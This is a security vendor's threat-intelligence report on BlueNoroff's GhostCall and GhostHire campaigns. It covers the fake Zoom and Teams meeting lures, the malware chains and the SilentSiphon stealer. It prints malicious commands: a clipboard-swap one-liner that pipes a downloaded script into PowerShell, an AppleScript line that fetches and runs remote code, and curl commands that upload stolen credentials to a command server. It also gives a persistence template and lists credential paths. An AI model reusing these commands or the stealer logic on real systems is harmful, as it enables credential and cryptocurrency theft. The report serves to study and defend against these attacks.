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Introduction

Primarily focused on financial gain since its appearance, BlueNoroff (aka. Sapphire Sleet, APT38, Alluring Pisces,
Stardust Chollima, and TA444) has adopted new infiltration strategies and malware sets over time, but it still targets
blockchain developers, C-level executives, and managers within the Web3/blockchain industry as part of its
SnatchCrypto operation. Earlier this year, we conducted research into two malicious campaigns by BlueNoroff under
the SnatchCrypto operation, which we dubbed GhostCall and GhostHire.

GhostCall heavily targets the macOS devices of executives at tech companies and in the venture capital sector by
directly approaching targets via platforms like Telegram, and inviting potential victims to investment-related meetings
linked to Zoom-like phishing websites. The victim would join a fake call with genuine recordings of this threat’s other
actual victims rather than deepfakes. The call proceeds smoothly to then encourage the user to update the Zoom
client with a script. Eventually, the script downloads ZIP files that result in infection chains deployed on an infected
host.
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1. Approach the target and invite them to call with a fake link ﬁ 2. Join a call with the given link
(via Telegram/Calendly/Email) @
3. The fake call prompt an error

4. Notify about the issue that occurred during the call

5. Encourage to download the script to fix the issue 6. Download a malicious script depends on OS <V
(PowerShell/AppleScript) C

GhostCall campaign attack flow

In the GhostHire campaign, BlueNoroff approaches Web3 developers and tricks them into downloading and
executing a GitHub repository containing malware under the guise of a skill assessment during a recruitment
process. After initial contact and a brief screening, the user is added to a Telegram bot by the recruiter. The bot
sends either a ZIP file or a GitHub link, accompanied by a 30-minute time limit to complete the task, while putting
pressure on the victim to quickly run the malicious project. Once executed, the project downloads a malicious
payload onto the user’s system. The payload is specifically chosen according to the user agent, which identifies the
operating system being used by the victim.

Provide a ZIP file S Refers to

Encourage target to access

Telegram account Telegram bot Fake skill assessment Dependancy on GitHub

GhostHire campaign attack flow

We observed the actor utilizing Al in various aspects of their attacks, which enabled them to enhance productivity
and meticulously refine their attacks. The infection scheme observed in GhostHire shares structural similarities of
infection chains with the GhostCall campaign, and identical malware was detected in both.

We have been tracking these two campaigns since April 2025, particularly observing the continuous emergence of
the GhostCall campaign’s victims on platforms like X. We hope our research will help prevent further damage, and
we extend our gratitude to everyone who willingly shared relevant information.

The relevant information about GhostCall has already been disclosed by Microsoft, Huntability, Huntress, Field
Effect, and SentinelOne. However, we cover newly discovered malware chains and provide deeper insights.

The GhostCall campaign

The GhostCall campaign is a sophisticated attack that uses fake online calls with the threat actors posing as fake
entrepreneurs or investors to convince targets. GhostCall has been active at least since mid-2023, potentially
following the RustBucket campaign, which marked BlueNoroff’s full-scale shift to attacking macOS systems.
Windows was the initial focus of the campaign; it soon shifted to macOS to better align with the targets’
predominantly macOS environment, leveraging deceptive video calls to maximize impact.

The GhostCall campaign employs sophisticated fake meeting templates and fake Zoom updaters to deceive targets.
Historically, the actor often used excuses related to IP access control, but shifted to audio problems to persuade the
target to download the malicious AppleScript code to fix it. Most recently, we observed the actor attempting to
transition the target platform from Zoom to Microsoft Teams.
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During this investigation, we identified seven distinct multi-component infection chains, a stealer suite, and a
keylogger. The modular stealer suite gathers extensive secret files from the host machine, including information
about cryptocurrency wallets, Keychain data, package managers, and infrastructure setups. It also captures details
related to cloud platforms and DevOps, along with notes, an API key for OpenAl, collaboration application data, and
credentials stored within browsers, messengers, and the Telegram messaging app.

Initial access

The actor reaches out to targets on Telegram by impersonating venture capitalists and, in some cases, using
compromised accounts of real entrepreneurs and startup founders. In their initial messages, the attackers promote
investment or partnership opportunities. Once contact is established with the target, they use Calendly to schedule a
meeting and then share a meeting link through domains that mimic Zoom. Sometimes, they may send the fake
meeting link directly via messages on Telegram. The actor also occasionally uses Telegram’s hyperlink feature to
hide phishing URLs and disguise them as legitimate URLs.

and images of other victims on an external host server |

5. Fetch pre-recorded videos ' Recorded videos will ultimately be stored |
|
|

@ 1. Access the phishing site

Oy
> g N
2. Request permission to activate camera @ 3. Secretly records a video when activated
r I \ 4, Join the meeting R
-~
Phishing site

6. Retrieve an appropriate script
based on the victim’s OS

7. Deliver the script to the victim with an error message [ i 8 ; ]

Overall behavior of the phishing site

Upon accessing the fake site, the target is presented with a page carefully designed to mirror the appearance of
Zoom in a browser. The page uses standard browser features to prompt the user to enable their camera and enter
their name. Once activated, the JavaScript logic begins recording and sends a video chunk to the /upload endpoint
of the actor’s fake Zoom domain every second using the POST method.
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Allow this local file to use your camera?

1 MacBook Pro Camera

Enter Meeting Info

Your Name

¢ o s

o

uim Stop Video

® 2025 Zoom Communications, Inc. All rights reserved. Privacy & Legal Policies | Send Report

Initial page mimicking Zoom call joining behavior

Once the target joins, a screen resembling an actual Zoom meeting appears, showing the video feeds of three
participants as if they were part of a real session. Based on OSINT we were monitoring, many victims initially
believed the videos they encountered were generated by deepfake or Al technology. However, our research
revealed that these videos were, in fact, real recordings secretly taken from other victims who had been targeted by
the same actor using the same method. Their webcam footage had been unknowingly recorded, then uploaded to
attacker-controlled infrastructure, and reused to deceive other victims, making them believe they were participating
in a genuine live call. When the video replay ended, the page smoothly transitioned to showing that user’s profile

image, maintaining the illusion of a live call.
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Fake Zoom meeting

Approximately three to five seconds later, an error message appears below the participants’ feeds, stating that the
system is not functioning properly and prompting them to download a Zoom SDK update file through a link labeled
“Update Now”. However, rather than providing an update, the link downloads a malicious AppleScript file onto
macOS and triggers a popup for troubleshooting on Windows.

Troubleshooting SDK issues

Note: This meeting is an organizational meeting, developed using the Zoom Meeting SDK, to ensure
compliance with security requirements.

We have identified an issue where audio devices may fail to connect due to compatibility constraints
with the Zoom Meeting SDK. To resolve this issue:
« Please update the SDK as follow

+ Rejoin the meeting after troubleshooting the issue.
You can automatically resolve this issue by following the soluti
Solution:

1. Update Zoom SDK

Run this command on Terminal:

set ZOOM_API_KEY="BOt LweWKewot KWOKEWODNXCSK"

set ZOOM_API_SECRET="QYrYiRTRTYTPLTRVZ09yRths2MXZSQVT
set ZOOM_SDK_UTILT mal"

set ZOOM_SDK_LEVEL="Hig|
set 70 us"
fconnected /class “Audio”
start https://developers.zoom.us/docs/meeting-sdk

2. Rejoin the meeting.

Why this happens:

Clicking the link on macOS (left) and on Windows (right)

On macOS, clicking the link directly downloads an AppleScript file named Zoom SDK Update.scpt from the
actor’s domain. A small “Downloads” coach mark is also displayed, subtly encouraging the user to execute the script
by imitating genuine Apple feedback. On Windows, the attack uses the ClickFix technique, where a modal window
appears with a seemingly harmless code snippet from a legitimate domain. However, any attempt to copy the code
—via the Copy button, right-click and Copy, or Ctrl+C—results in a malicious one-liner being placed in the clipboard
instead.
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cmd

set L i

set ZOOM_API_SECR

set ZOOM_SDK_UTILIT

set ZOOM_SDK_LEVEL="H1igh
set ZOOM_LANGUAGE="en-US

setx audio_volume 100

pnputil /enum-devices /connected /class "Audio"

start https://developers.zoom.us/docs/meeting-sdk

curl -A ZoomSDK -s <download URL> | powershell.exe -c "[Console]::In.ReadToEnd()
cls

exit

Malicious code upon ClickFix

We observed that the actor implemented beaconing activity within the malicious web page to track victim
interactions. The page reports back to their backend infrastructure—likely to assess the success or failure of the
targeting. This is accomplished through a series of automatically triggered HTTP GET requests when the victim
performs specific actions, as outlined below.

Endpoint Trigger Purpose

Track whether the victim entered the
meeting

Track whether the victim clicked on
the update prompt

User uses any copy-and-paste method to copy  Confirm the clipboard swap likely

/join/{id}/{token} User clicks Join on the pre-join screen

/action/{id}/{token} Update / Troubleshooting SDK modal is shown

faction1Aid}token} modal window contents succeeded
/action2/{id}/{token} User closes modal 'rl;:ggglwhether the victim closed the

In September 2025, we discovered that the group is shifting from cloning the Zoom Ul in their attacks to Microsoft
Teams. The method of delivering malware remains unchanged. Upon entering the meeting room, a prompt specific

to the target’s operating system appears almost immediately after the background video starts—unlike before. While

this is largely similar to Zoom, macOS users also see a separate prompt asking them to download the SDK file.
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General fake prompt to update the SDK file (left) and Windows-specific (right)

We were able to obtain the AppleScript (Zoom SDK Update.scpt) the actor claimed was necessary to resolve the
issue, which was already widely known through numerous research studies as the entry point for the attack. The
script is disguised as an update for the Zoom Meeting SDK and contains nearly 10,000 blank lines that obscure its
malicious content. Upon execution, it fetches another AppleScript, which acts as a downloader, from a different fake

link using a curl command. There are numerous variants of this “troubleshooting” AppleScript, differing in filename,
user agent, and contents.

HA A A A A S R A A R
#
M Update Zoom SDKs to newer versions
#
Your current Zoom SDK version is deprecated.
Zoom SDK allows developers to integrate Zoom's video conferencing features into
applications for enhanced communication and collaboration.
To ensure optimal performance, security, and access to new features, please update
to the latest version by pressing the B start button.

HOHE K K R R E B W

#
B e e e B e e e e e

-— Zook SDK update

set zoomSDKURL to "https://developers.zoom.us/docs/sdk/native-sdks/"
do shell script "open -g " & quoted form of zoomSDKURL

set fix_url to "https://support.us@5web-zoom.cloud/494968/check"
set sc to do shell script "curl -L -k \"" & fix_url & "\""
run script sc
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Snippets of the AppleScript disguised as a Zoom SDK update

If the targeted macOS version is 11 (Monterey) or later, the downloader AppleScript installs a fake application
disguised as Zoom or Microsoft Teams into the /private/tmp directory. The application attempts to mimic a
legitimate update for Zoom or Teams by displaying a password input popup. Additionally, it downloads a next-stage
AppleScript, which we named “DownTroy”. This script is expected to check stored passwords and use them to install
additional malware with root privileges. We cautiously assess that this would be an evolved version of the older one,
disclosed by Huntress.

Moreover, the downloader script includes a harvesting function that searches for files associated with password
management applications (such as Bitwarden, LastPass, 1Password, and Dashlane), the default Notes app
(group.com.apple.notes), note-taking apps like Evernote, and the Telegram application installed on the device.

Another notable feature of the downloader script is a bypass of TCC (Transparency, Consent, and Control), a
macOS system designed to manage user consent for accessing sensitive resources such as the camera,
microphone, AppleEvents/automation, and protected folders like Documents, Downloads, and Desktop. The script
works by renaming the user’s com.apple. TCC directory and then performing offline edits to the TCC. db database.
Specifically, it removes any existing entries in the access table related to a client path to be registered in the TCC
database and executes INSERT OR REPLACE statements. This process enables the script to grant AppleEvents
permissions for automation and file access to a client path controlled by the actor. The script inserts rows for service
identifiers used by TCC, including kTCCServiceAppleEvents, KTCCServiceSystemPolicyDocumentsFolder,
kTCCServiceSystemPolicyDownloadsFolder, and KTCCServiceSystemPolicyDesktopFolder, and
places a hex-encoded code-signature blob (in the csreq style) in the database to meet the requirement for access
to be granted. This binary blob must be bound to the target app’s code signature and evaluated at runtime. Finally,
the script attempts to rename the TCC directory back to its original name and calls tccutil reset
DeveloperTool.

In the sample we analyzed, the client path is ~/Library/Google/Chrome Update —the location the actor uses
for their implant. In short, this allows the implant to control other applications, access data from the user’s
Documents, Downloads, and Desktop folders, and execute AppleScripts—all without prompting for user consent.

8/50


https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis

Downloaded AppleScript File hosting server ZoomClutch/

(Zoom SDK Update.scpt 4 TeamsClutch
/MSTeamsUpdate.scpt)

Download Download
@ [ oy ] Download @
<domain>/<random>/check Downloader <domain>/update/<random>

[%] Download =@ [‘%]---Eolmlloid___b [%]

Second AppleScript <domain>/register/<random> DownTroy ~/Library/Google/Chrome Update
(/private/var/tmp/osascript)

Initial infection flow
Multi-stage execution chains

According to our telemetry and investigation into the actor’s infrastructure, DownTroy would download ZIP files that
contain various individual infection chains from the actor’s centralized file hosting server. Although we haven'’t
observed how the SysPhon and the SneakMain chain were installed, we suspect they would’ve been downloaded in
the same manner. We have identified not only at least seven multi-stage execution chains retrieved from the server,
but also various malware families installed on the infected hosts, including keyloggers and stealers downloaded by
CosmicDoor and RooTroy chains.

Execution

Num chain/Malware Components Source
1 ZoomClutch (standalone) File hosting server
2 DownTroy v1 chain Launcher, Dropper, DownTroy.macOS File hosting server
3 CosmicDoor chain Injector, CosmicDoor.macOS in Nim  File hosting server
. Installer, Loader, Injector, . .
4 RooTroy chain RooTroy.macOS File hosting server
5 RealTimeTroy chain Injector, RealTimeTroy.macOS in Go Unknown, thalneq from
multiscanning service
6 SneakMain chain Installer, Loader, SneakMain.macOS Unknown, obtained from infected

hosts

Installer, Loader, Dropper,

7 DownTroy v2 chain DownTroy.macOS

File hosting server

Unknown, obtained from infected

8 SysPhon chain Installer, SysPhone backdoor
hosts
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The actor has been introducing new malware chains by adapting new programming languages and developing new
components since 2023. Before that, they employed standalone malware families, but later evolved into a modular
structure consisting of launchers, injectors, installers, loaders, and droppers. This modular approach enables the
malicious behavior to be divided into smaller components, making it easier to bypass security products and evade
detection. Most of the final payloads in these chains have the capability to download additional AppleScript files or
execute commands to retrieve subsequent-stage payloads.

Interestingly, the actor initially favored Rust for writing malware but ultimately switched to the Nim language.
Meanwhile, other programming languages like C++, Python, Go, and Swift have also been utilized. The C++
language was employed to develop the injector malware as well as the base application within the injector, but the
application was later rewritten in Swift. Go was also used to develop certain components of the malware chain, such
as the installer and dropper, but these were later switched to Nim as well.

ZoomClutch/TeamsClutch: the fake Zoom/Teams application

During our research of a macOS intrusion on a victim’s machine, we found a suspicious application resembling a
Zoom client executing from an atypical, writable path — /tmp/zoom.app/Contents/Mac0S — rather than the
standard /Applications directory. Analysis showed that the binary was not an official Zoom build but a custom
implant compiled on macOS 14.5(24F74) with Xcode 16 beta2 (16C5032a) against the macOS 15.2 SDK. The app is
ad-hoc signed, and its bundle identifier is hard-coded to us.zoom. com to mimic the legitimate client.

The implant is written in Swift and functions as a macOS credentials harvester, disguised as the Zoom
videoconferencing application. It features a well-developed user interface using Swift's modern Ul frameworks that
closely mimics the Zoom application icon, Apple password prompts, and other authentic elements.

o 4 zoom_app

Recents
Applicati...
Desktop
Zoom
Documents

Zoom is trying to authenticate user.

Downloads Enter your password to allow this.

GReAT-sandbox

Red
Orange

Yellow

ZoomClutch prompting the victim to enter their password

ZoomClutch steals macOS passwords by displaying a fake Zoom dialog, then sends the captured credentials to the
C2 server. However, before exfiltrating the data, ZoomClutch first validates the credentials locally using Apple’s
Open Directory (OD) to filter out typos and incorrect entries, mirroring macOS’s own authentication flow. OD
manages accounts and authentication processes for both local and external directories. Local user data sits at
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/var/db/dslocal/nodes/Default/users/ as plists with PBKDF2-SHA512 hashes. The malware creates an
0DSession, then opens a local 0DNode via kODNodeTypeLocalNodes (0x2200/8704) to scope operations to
/Local/Default.

It subsequently calls verifyPassword:error: to check the password, which re-hashes the input password using
the stored salt and iterations, returning true if there is a match. If verification fails, ZoomClutch re-prompts the user
and shortly displays a “wrong password” popup with a shake animation. On success, it hides the dialog, displays a
“Zoom Meeting SDK has been updated successfully” message, and the validated credentials are covertly sent to the
C2 server.

Update Completed

Zoom Meeting SDK has been updated
successfully

Done

ZoomClutch success window displayed after password validation

All passwords entered in the prompt are logged to ~/Library/Logs/keybagd events.log. The malware then
creates a file at ~/Library/Logs/<username> auth.log to store the verified password in plain text. This file is
subsequently uploaded to a C2 URL using curl.

file:///usr/bin/curl -s --insecure --connect-timeout 60 -X POST -H "Content-Type:
multipart/form-data" -H User-Agent: curl-agent -H "Auth:<auth_value> -F
file=@/Users/<username>/Library/Logs/<username>_auth.log -k <c2_url>

With medium-high confidence, we assess that the malware was part of BlueNoroff’'s workflow needed to initiate the
execution flow outlined in the subsequent infection chains.

The TeamsClutch malware that mimics a legitimate Microsoft Teams functions similarly to ZoomClutch, but with its
logo and some text elements replaced.
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e

Microsoft Teams

Update Completed

Enter you Microsoft Teams SDK has been updated

successfully

GReAT-sandbox

(

Done

TeamsClutch authentication and success windows
DownTroy v1 chain

The DownTroy v1 chain consists of a launcher and a dropper, which ultimately loads the DownTroy.macOS malware
written in AppleScript.

o Dropper: a dropper file named "trustd", written in Go
¢ Launcher: a launcher file named "watchdog", written in Go
¢ Final payload: DownTroy.macOS written in AppleScript

The dropper operates in two distinct modes: initialization and operational. When the binary is executed with a
machine ID (mid) as the sole argument, it enters initialization mode and updates the configuration file located at
~/Library/Assistant/CustomVocabulary/com.applet.safari/local log using the provided mid and
encrypts it with RC4. It then runs itself without any arguments to transition into operational mode. In case the binary
is launched without any arguments, it enters operational mode directly. In this mode, it retrieves the previously saved
configuration and uses the RC4 key NvZGluZz0iVVRGLTgiPz4KPCF to decrypt it. It is important to note that the
mid value must first be included in the configuration during initialization mode, as it is essential for subsequent
actions.

It then decodes a hard-coded, base64-encoded string associated with DownTroy.macOS. This AppleScript contains
a placeholder value, smail 1id%, which is replaced with the initialized mid value from the configuration. The
modified script is saved to a temporary file named local. lock within the <BasePath> directory from the
configuration, with 0644 permissions applied, meaning that only the script owner can modify it. The malware then
uses osascript to execute DownTroy.macOS and sets Setpgid=1 to isolate the process group.
DownTroy.macOS is responsible for downloading additional scripts from its C2 server until the system is rebooted.

The dropper implements a signal handling procedure to monitor for termination attempts. Initially, it reads the entire
trustd (itself) and watchdog binary files into memory, storing them in a buffer before deleting the original files.
Upon receiving a SIGINT or SIGTERM signal indicating that the process should terminate, the recovery mechanism
activates to maintain persistence. While SIGINT is a signal used to interrupt a running process by the user from the
terminal using the keyboard shortcut Ctrl + C, SIGTERM is a signal that requests a process to terminate gracefully.

The recovery mechanism begins by recreating the <BasePath> directory with intentionally insecure 0777
permissions (meaning that all users have the read, write, and execute permissions). Next, it writes both binaries
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back to disk from memory, assigning them executable permissions (0755), and also creates a plist file to ensure the
automatic restart of this process chain.

e trustd: trustd in the <BasePath> directory
e watchdog: ~/Library/Assistant/SafariUpdate and watchdog in the <BasePath> directory
e plist: ~/Library/LaunchAgents/com.applet.safari.plist

The contents of the plist file are hard-coded into the dropper in base64-encoded form. When decoded, the template
represents a standard macOS LaunchAgent plist containing the placeholder tokens #path and #label. The
malware replaces these tokens to customize the template. The final plist configuration ensures the launcher
automatic execution by setting RunAtLoad to true (starts at login), KeepAlive to true (restarts if terminated), and
LaunchOnlyOnce to true.

o #path is replaced with the path to the copied watchdog
o #label is replaced with com.applet.safari to masquerade as a legitimate Safari-related component

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#label</string> // com.applet.safari
<key>RunAtLoad</key>
<true/>
<key>LaunchOnlyOnce</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>#path</string> // ~/Library/Assistant/SafariUpdate
</array>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>StandardOutPath</key>
<string>/dev/null</string>
</dict>
</plist>

The main feature of the discovered launcher is its ability to load the same configuration file located at
~/Library/Assistant/CustomVocabulary/com.applet.safari/local log. It reads the file and uses
the RC4 algorithm to decrypt its contents with the same hard-coded 25-byte key: NvZGluZz0iVVRGLTgiPz4KPCF.
After decryption, the loader extracts the <BasePath> value from the JSON object, which specifies the location of
the next payload. It then executes a file named trustd from this path, disguising it as a legitimate macOS system
process.
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We identified another version of the loader, distinguished by the configuration path that contains the <BasePath> —
this time, the configuration file was located at /Library/Graphics/com.applet.safari/local log. The
second version is used when the actor has gained root-level permissions, likely achieved through ZoomClutch
during the initial infection.

CosmicDoor chain

The CosmicDoor chain begins with an injector malware that we have named “Gillylnjector” written in C++, which was
also described by Huntress and SentinelOne. This malware includes an encrypted baseApp and an encrypted
malicious payload.

¢ Injector: Gillylnjector written in C++
e BaseApp: a benign application written in C++ or Swift
e Final payload: CosmicDoor.macOS written in Nim

The syscon. zip file downloaded from the file hosting server contains the “a” binary that has been identified as
Gillylnjector designed to run a benign Mach-O app and inject a malicious payload into it at runtime. Both the injector
and the benign application are ad-hoc signed, similar to ZoomClutch. Gillylnjector employs a technique known as

Task Injection, a rare and sophisticated method observed on macOS systems.

The injector operates in two modes: wiper mode and injector mode. When executed with the - -d flag, Gillylnjector
activates its destructive capabilities. It begins by enumerating all files in the current directory and securely deleting
each one. Once all files in the directory are unrecoverably wiped, Gillylnjector proceeds to remove the directory
itself. When executed with a filename and password, Gillylnjector operates as a process injector. It creates a benign
application with the given filename in the current directory and uses the provided password to derive an AES
decryption key.

The benign Mach-O application and its embedded payload are encrypted with a customized AES-256 algorithm in
ECB mode (although similar to the structure of the OFB mode) and then base64-encoded. To decrypt, the first 16
bytes of the encoded string are extracted as the salt for a PBKDF2 key derivation process. This process uses 10,000
iterations, and a user-provided password to generate a SHA-256-based key. The derived key is then used to decrypt
the base64-decoded ciphertext that follows.

Embedded data

[ a;] —E KSFpxv7Ld01DsVAvp7QsfitwBnl1dfCHIIVDnGKZidU209woPQarM2lj T

mZlwxYmsmALfmIDf1cMXkUAf39Eyy/onZZyksr/XYJIigPLrQVtWv5LIIk | OFB-styled Original bytes of
i Tflenameipnsswordi | d1mNXaON9BWSEjIFO0H/W25cziufgWeochXfuzWoaSts7VulXrpay | [~ » basebd-decoded —=—=> o e prr = o onnp or payload
| 4mzYkvZOKAyZGoE9HSa50g3dyCOflkOMcNWWNSKoEuYOXDscWiV |

base64-decoded

CCKeyDerivationPBKDF(
CCPBKDFAIgorithm(kCCPBKDF2),
, length of password,
ey salt, length of sallt,
kCCPRFHmacAlgSHA256, 10000,
derived key, length of the derived key

)

Base application and payload decryption

The ultimately injected payload is identified as CosmicDoor.macOS, written in Nim. The main feature of CosmicDoor
is that it communicates with the C2 server using the WSS protocol, and it provides remote control functionality such
as receiving and executing commands.
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Our telemetry indicates that at least three versions of CosmicDoor.macOS have been detected so far, each written in
different cross-platform programming languages, including Rust, Python, and Nim. We also discovered that the
Windows variant of CosmicDoor was developed in Go, demonstrating that the threat actor has actively used this
malware across both Windows and macOS environments since 2023. Based on our investigation, the development
of CosmicDoor likely followed this order: CosmicDoor.Windows in Go — CosmicDoor.macOS in Rust — CosmicDoor
in Python — CosmicDoor.macOS in Nim. The Nim version, the most recently identified, stands out from the others
primarily due to its updated execution chain, including the use of Gillylnjector.

Except for the appearance of the injector, the differences between the Windows version and other versions are not
significant. On Windows, the fourth to sixth characters of all RC4 key values are initialized to 123. In addition, the
CosmicDoor.macOS version, written in Nim, has an updated value for COMMAND KEY.

CosmicDoor in Python, CosmicDoor.Windows in
CosmicDoor.macOS in Rust Go

SESSION_KEY 3LZu5H$yFAFSwPu3SqgbL*sK 3LZu5H$YFAFSwPu3SgbL*sK 3LZ123%yFAFSwPu3SqgbL*sK
COMMAND_KEY IZjJ7iuK2gcmMW6hacZOw62 jubk$sb3xzCJ%ydILI@W8FH jub123b3xzCJ%ydILi@W8FH
AUTH_KEY Ej7bx@YRG2uUhya#50Yt*ao Ej7bx@YRG2uUhya#50Yt*ao Ej7123YRG2uUhya#50Yt*ao

CosmicDoor.macOS in Nim

The same command scheme is still in use, but other versions implement only a few of the commands available on
Windows. Notably, commands such as 345, 90, and 45 are listed in the Python implementation of CosmicDoor, but
their actual code has not been implemented.

. CosmicDoor.macOS in Rust CosmicDoorin CosmicDoor.Windows in
Command Description

and Nim Python Go
234 Get device 0 0 0
information
333 No operation - - O
44 Update _ _ o
configuration
78 ((jB_et current work o o o
irectory
1 Get interval time - - @)
12 Execute 0 0 0
commands
Set current work
34 directory o o o
345 (DownExec) - O (but, not
implemented)
O (but, not
90 (Download) B implemented) B
45 (Upload) - O (but, not

implemented)
SilentSiphon: a stealer suite for harvesting

During our investigation, we discovered that CosmicDoor downloads a stealer suite composed of various bash
scripts, which we dubbed “SilentSiphon”. In most observed infections, multiple bash shell scripts were created on
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infected hosts shortly after the installation of CosmicDoor. These scripts were used to collect and exfiltrate data to

the actor’'s C2 servers.

The file named upl. sh functions as an orchestration launcher, which aggregates multiple standalone data-
extraction modules identified on the victim’s system.

1 upl.sh

2 —cpl.sh
3 — ubd.sh

4 |— secrets.sh

5 — uad.sh
6 — utd.sh

The launcher first uses the command who | tail -nl | awk '{print $1}' to identify the username of the
currently logged-in macOS user, thus ensuring that all subsequent file paths are resolved within the ongoing active
session—regardless of whether the script is executed by another account or via Launch Agents. However, both the
hard-coded C2 server and the username can be modified with the -h and -u flags, a feature consistent with other
modules analyzed in this research. The orchestrator executes five embedded modules located in the same directory,

removing each immediately after it completes exfiltration.
The stealer suite harvests data from the compromised host as follows:

1. upl.sh is the orchestrator and Apple Notes stealer.
It targets Apple Notes at /private/var/tmp/group.com.apple.notes.
It stores the data at /private/var/tmp/notes_<username>.

2. cpl.sh is the browser extension stealer module.

It targets:
o Local storage for extensions: the entire “Local Extension Settings” directory of Chromium-based web

browsers, such as Chrome, Brave, Arc, Edge, and Ecosia

o Browser’s built-in database: directories corresponding to Exodus Web3 Wallet, Coinbase Wallet
extension, Crypto.com Onchain Extension, Manta Wallet, 1Password, and Sui wallet in the “IndexedDB”
directory

o Extension list: the list of installed extensions in the “Extensions” directory
Stores the data at /private/var/tmp/cpl_<username>/<browser>/*

3. ubd.sh is the browser credentials and macOS Keychains stealer module.
It targets:

o Credentials stored in the browsers: Local State, History, Cookies, Sessions, Web Data, Bookmarks,
Login Data, Session Storage, Local Storage, and IndexedDB directories of Chromium-based web
browsers, such as Chrome, Brave, Arc, Edge, and Ecosia

o Credentials in the Keychain: /Library/Keychains/System.keychain and
~/Library/Keychains/login.keychain-db
It stores the data at /private/var/tmp/ubd_<username>/*
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4. secrets.sh is the secrets stealer module.

It targets:

o

o

Version Control: GitHub (.config/gh), GitLab (.config/glab-cli), and Bitbucket (.bit/config)

Package manager: npm (.npmrc), Yarn (.yarnrc.yml), Python pip (.pypirc), RubyGems
(.gem/credentials), Rust cargo (.cargo/credentials), and .NET Nuget (.nuget/NuGet.Config)
Cloud/Infrastructure: AWS (.aws), Google Cloud (.config/gcloud), Azure (.azure), Oracle Cloud (.oci),
Akamai Linode (.config/linode-cli), and DigitalOcean API (.config/doctl/config.yaml)

Cloud Application Platform: Vercel (.vercel), Cloudflare (.wrangler/config), Netlify (.neffily), Stripe
(.config/stripe/config.toml), Firebase (.config/configstore/firebase-tools.json), Twilio (.twilio-cli)
DevOps/laC: CircleCl (.circleci/cli.yml), Pulumi (.pulumi/credentials.json), and HashiCorp (.vault-token)
Security/Authentication: SSH (.ssh) and FTP/cURL/Wget (.netrc)

Blockchain Related: Sui Blockchain (.sui), Solana (.config/solana), NEAR Blockchain (.near-
credentials), Aptos Blockchain (.aptos), and Algorand (.algorand)

Container Related: Docker (.docker) and Kubernetes (.kube)

Al: OpenAl (.openai)

It stores the data at /private/var/tmp/secrets_backup_<current time>/<username>/*

5. uad.sh is the password-vault stealer module

It targets:

o

o

o

o

o

o

Password manager: 1Password 8, 1Password 7, Bitwarden, LastPass, and Dashlane
Note-taking: Evernote and Notion

Collaboration suites: Slack

Messenger: Skype (inactive), WeChat (inactive), and WhatsApp (inactive)

Cryptocurrency: Ledger Live, Hiro StacksWallet, Tonkeeper, MyTonWallet, and MetaMask (inactive)
Remote Monitoring and Management: AnyDesk

It stores the data at /private/var/tmp/<username>_<target application>_<current time>/*

6. utd.sh is the Telegram stealer module
It targets:

o

o

On macOS version 14 and later:
= Telegram’s cached resources, such as chat history and media files
= Encrypted geolocation cache
= AES session keys used for account takeover
= Legacy sandbox cache
On macOS versions earlier than 14:
» List of configured Telegram accounts
= Export-key vault
= Full chat DB, messages, contacts, files, and cached media
It stores the data at /private/var/tmp/Telegrams_<username>/*

These extremely extensive targets allow the actor to expand beyond simple credentials to encompass their victims’
entire infrastructure. This includes Telegram accounts exploitable for further attacks, supply chain configuration

details, and collaboration tools revealing personal notes and business interactions with other users. Notably, the
attackers even target the .openai folder to secretly use ChatGPT with the user’s account.

The collected information is immediately archived with the ditto -ck command and uploaded to the initialized C2
server via curl command, using the same approach as in ZoomClutch.
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curl --connect-timeout 60 -X POST -H "Content-Type: multipart/form-data" -H "User-Agent:
curl-agent" -F "file=@<zipped_filename>.zip" -H "Auth:<auth_value>" -k "<c2_url>" -s
--show-error -o /dev/null

RooTroy chain

We identified a ZIP archive downloaded from the file hosting server that contains a three-component toolset. The
final payload, RooTroy.macOS, was also documented in the Huntress’s blog, but we were able to obtain its full
chain. The archive includes the following:

Installer: the primary installer file named "rtv4inst", written in Go

Loader: an auxiliary loader file named "st" and identified as the Nimcore loader, written in Nim
Injector: an injector file named "wt", which is identified as Gillylnjector, written in C++

Final payload: RooTroy.macOS, written in Go

Upon the execution of the installer, it immediately checks for the presence of other components and terminates if any
are missing. Additionally, it verifies that it has accepted at least two command-line arguments to function properly, as
follows.

1 rvtdinst <MID> <C2> [<Additional C2 domains...>]

e MID (Machine ID): unique identifier for victim tracking
e (C2: primary command-and-control domain
e Additional C2 values can be supplied

On the first launch, the installer creates several directories and files that imitate legitimate macOS components. Note
that these paths are abused only for camouflage; none are genuine system locations.

Num Path Role

1 /Library/Google/Cache/.cfg Configuration

2 /Library/Application Support/Logitechs/versions Not identified

3 /Library/Application Support/Logitechs/bin/Update Check Final location of the Nimcore loader (st)
4 [/Library/Storage/Disk baseApp’s potential location 1

5 /Library/Storage/Memory baseApp’s potential location 2

6 /Library/Storage/CPU/cpumons Final location of Gillylnjector (wt)

7 /Library/LaunchDaemons/<bundle ID>.plist .plist path for launching st

8 /private/var/tmp/.lesshst Contains the .plist path

The installer uses the hard-coded key
3DD226DOB700F33974F409142DEFB62A8CD172AES5F2EBOBEB7F5750EB1702E2A to serialize its runtime
parameters into an RC4-encrypted blob. The resulting encrypted value is written as . cfg inside
/Library/Google/Cache/.

The installer then implements a naming mechanism for the plist name through dynamic bundle ID generation, where
it scans legitimate applications in /Applications to create convincing identifiers. It enumerates .app bundles,

” o T LTS

extracts their names, and combines them with service-oriented terms like “agent”, “webhelper”, “update”, “updater”,
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“startup”, “service”, “cloudd”, “daemon”, “keystone.agent”, “update.agent”’, or “installer” to construct bundle IDs, such

as “com.safari.update” or “com.chrome.service”. If the bundle ID generation process fails for any reason, the

malware defaults to “com.apple.updatecheck” as a hard-coded fallback identifier.

The installer then deploys the auxiliary binaries from the ZIP extraction directory to their final system locations. The
Nimcore loader (st) is copied to /Library/Application Support/Logitechs/bin/Update Check. The
Gillylnjector binary is renamed to cpumons in the /Library/Storage/CPU path. Both files receive 0755

permissions to ensure executability.

Later, a persistence mechanism is implemented through macOS Launch Daemon plists. The plist template contains
four placeholder fields that are filled in during generation:

e The Label field receives the dynamically generated bundle ID.

